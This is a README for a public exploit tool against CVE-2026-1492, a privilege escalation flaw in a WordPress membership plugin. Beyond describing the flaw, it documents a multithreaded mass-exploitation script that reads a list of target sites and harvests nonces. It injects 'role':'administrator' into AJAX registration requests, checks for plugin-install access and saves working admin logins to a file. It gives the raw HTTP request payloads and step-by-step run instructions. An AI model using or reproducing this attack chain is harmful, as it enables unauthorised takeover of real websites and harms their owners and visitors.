nxploited/cve-2026-1492User Registration & Membership <= 5.1.2 - Unauthenticated Privilege Escalation via Membership Registration
User Registration & Membership <= 5.1.2 - Unauthenticated Privilege Escalation via Membership Registration
| Field | Details |
|---|---|
| CVE ID | CVE-2026-1492 |
| Severity | CRITICAL — CVSS v3.1 Score: 9.8 |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Affected Software | User Registration & Membership — Custom Registration Form Builder, Custom Login Form, User Profile, Content Restriction & Membership Plugin for WordPress |
| Affected Versions | All versions up to and including 5.1.2 |
| Vulnerability Type | Improper Privilege Management — Unauthenticated Administrator Account Creation |
| Authentication Required | None |
| CWE | CWE-269: Improper Privilege Management |
Description:
The User Registration & Membership plugin for WordPress is vulnerable to Unauthenticated Privilege Escalation in all versions up to and including 5.1.2. The vulnerability stems from the user_registration_membership_register_member AJAX handler accepting a user-supplied role value during the membership registration process without enforcing any server-side allowlist or capability check. A completely unauthenticated remote attacker can craft a multi-step AJAX request chain — first registering a new user account, then submitting a malicious register_member call with "role": "administrator" injected into the members_data JSON payload — to silently create a fully privileged WordPress Administrator account. This results in complete compromise of the affected WordPress installation with zero user interaction required.
This is a Proof-of-Concept (PoC) exploitation script implementing a full state-aware attack chain against WordPress sites running a vulnerable version of the User Registration & Membership plugin. The tool performs intelligent multi-stage exploitation with automatic discovery, plan extraction, nonce harvesting, dual-flow registration, role injection, and admin verification.
[Discovery Phase]
GET /membership-pricing/ → Extract membership plan IDs
GET /registration/ → Extract form fields, nonces, AJAX params
↓
[Registration Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
→ Register new user account
↓
[Role Injection Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator", "membership":"<id>", ...}
→ Inject administrator role into newly created account
↓
[Admin Verification Phase]
GET /wp-admin/ → Check for admin dashboard indicators
GET /wp-admin/plugin-install.php → Confirm plugin-install access
↓
[Fallback Override — Flow B]
If Flow A admin check fails → repeat with fresh username/email
↓
[Write to Nx_admin.txt]
Format: https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
Or via requirements file:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1492.git
cd CVE-2026-1492
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-1492.py
python3 CVE-2026-1492.py
The tool uses a fully interactive terminal interface powered by Rich. All parameters are prompted at runtime.
Create a plain text file (default: list.txt) with one target per line:
https://target1.com
https://target2.com
http://target3.com/wordpress
Targets file [list.txt]: list.txt
Credentials:
- Username prefix: random number is added per site (fresh user per target/plan/flow)
- Email: if left empty, it will be built from the username automatically
- Password: fixed for all sites
Username prefix (optional): Nxploited
Email (optional):
Password [Nx_12999]: Nx_12999
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
The tool automatically discovers and parses:
| Target | What is Extracted |
|---|---|
/membership-pricing/ | Membership plan IDs, registration page links |
/registration/ | Form fields, nonces, AJAX URLs, membership radio inputs |
user_registration_params JS object | ajax_url, security nonce, form metadata |
ur_membership_frontend_localized_data | Membership-specific nonce, AJAX endpoint |
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&form_data=[{"field_name":"user_login","value":"Nxploited_A_482910",...}]
&form_id=1
&ur_frontend_form_nonce=<extracted_nonce>
&security=<extracted_security>
&is_membership_active=<membership_id>
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&members_data={"membership":"<id>","payment_method":"free","role":"administrator","username":"Nxploited_A_482910",...}
&form_response={...}
&_wpnonce=<membership_nonce>
&security=<membership_nonce>
⚠️ The server accepts the
rolefield from the client without any allowlist validation — this is the root cause of CVE-2026-1492.
The tool opens a fresh session, logs in with the newly created credentials, and probes:
| Endpoint | Indicator Checked |
|---|---|
/wp-admin/ | adminmenu, wp-admin-bar, manage_options |
/wp-admin/users.php | users.php |
/wp-admin/plugin-install.php | upload-plugin, plugin-install-tab |
| File | Description |
|---|---|
Nx_admin.txt | ✅ Confirmed administrator accounts |
membership_success_log.txt | All successful membership role-injection calls |
discovery_log.txt | Full discovery data per target (nonces, IDs, fields) |
registration_log.txt | All registration AJAX requests and responses |
membership_log.txt | All membership AJAX requests and responses |
admin_check_log.txt | Login attempts and admin verification results |